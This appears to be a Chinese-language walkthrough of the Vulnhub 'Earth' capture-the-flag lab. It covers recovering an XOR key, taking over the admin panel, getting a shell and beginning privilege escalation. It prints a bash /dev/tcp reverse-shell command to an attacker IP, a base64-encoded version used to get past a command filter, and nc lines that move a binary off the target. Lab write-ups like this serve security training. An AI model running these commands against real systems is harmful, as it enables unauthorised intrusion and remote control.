Vulnhub Earth Walkthrough
前言
这个靶场应该算是别出心裁了,有一些关于加密解密的算是一些密码学的知识吧,虽然说是难度不是很高,但是还是很有意思的,话不多说了,直接开始干吧。
信息收集
IP 信息 | 端口信息 |
---|---|
从这个简要的信息收集来看,这个靶场指定了两个 DNS ,所以我们一般情况下是无法正常的打开网站的,所以还是要添加一个 /etc/hosts
记录,让他再继续指向回来。
10.0.2.20 earth.local terratest.earth.local
HTTP 扫描
从上面的信息中可以看出,直接使用 ip
地址进行访问的话出现的是一个默认的界面,没有什么有价值的信息,所以目标转向第二个使用域名访问的界面,底下有三串加密的密文。但是暂时还不知道有什么用,所以先对其进行一次扫描,查看有什么敏感目录。
earth.local | terreatest.earth.local |
---|---|
首先看右边,发现了 robots.txt
查看一下发现最后一行有一行提示信息。
既然是笔记的话,大概率是 txt
文档的格式,所以尝试下载。
┌──(root㉿kali)-[~]
└─# curl https://terratest.earth.local/testingnotes.txt -k
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.
从上面的倒数第五行可以看出来,用户名已经给出来了,所以说现在的要求就是获取密码,但是从上面说的这个话判断,使用的是 XOR
。
Earth has confirmed they have received our sent messages.
也就是说已经有了一个发送过的密文了,如果猜的不错的话,那应该是上面那个有地球的界面的下面的几串密文。总结一下,现在最重要的就是要获得 terra
的密码,还有就是去看一下 testdata.txt
是怎么写的。
┌──(root㉿kali)-[~]
└─# curl https://terratest.earth.local/testdata.txt -k
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
解密
按照 XOR
的逻辑模式来说的话,key
。
所以说将上面讲的都替换一下,将 testdata.txt
里面的内容使用密文做一下运算,就可以知道 key
是什么了
上面是将第三个密文转成了 UTF-8
格式然后选择使用 XOR
加密,Key
选择 testdata.txt
里面的内容。所以说得到的结果就是截图上面的样子,可以看出是一个循环的结果,每次的循环都是 earthclimatechangebad4humans
。所以可以确定这个就是那个 key
。所以现在可以尝试登陆上面左图扫描到的 /admin
界面的界面了。
反弹 shell
从上图发现了是有一个命令执行的输入框的,所以直接使用 bash -c 'exec bash -i &>/dev/tcp/10.0.2.15/2333 <&1'
链接,但是发现被禁止了,猜测可能是过滤了某些命令。
所以首先在 kali
上尝试使用 base64
加密下这个语句,然后在目标主机上解密后链接 尝试绕过。
# kali
echo " bash -c 'exec bash -i &>/dev/tcp/10.0.2.15/2333 <&1'" | base64
# earth
echo IGJhc2ggLWMgJ2V4ZWMgYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjAuMi4xNS8yMzMzIDwmMScK | base64 -d | bash
连接成功!
提权
运行脚本扫描可以发现他提示了系统可能存在这两个漏洞利用,所以我先尝试一下。
CVE-2021-4034
CVE-2022-0847
好巧不巧的,不行,失败了,可能是我太菜了。那就换种思路,有上面扫描到的结果的 suid
提权。
SUID
strings /usr/bin/reset_root
可以看到里面的内容,将 root
的密码设置为 Earth
。又因为它有 s
权限,所以运行之后就可以使用改密码登陆 root
了。但是经过实际测试是不可以的,因为这个二进制文件要先满足一些条件才会触发修改密码的调教,所以
- 首先在
kali
上设置监听nc -lvnp 2222 > reset_root
将监听到的内容存储到reset_root
- 第二部在靶机上将
reset_root
传输到kali
。nc 10.0.2.15 2222 < /usr/bin/reset_root
。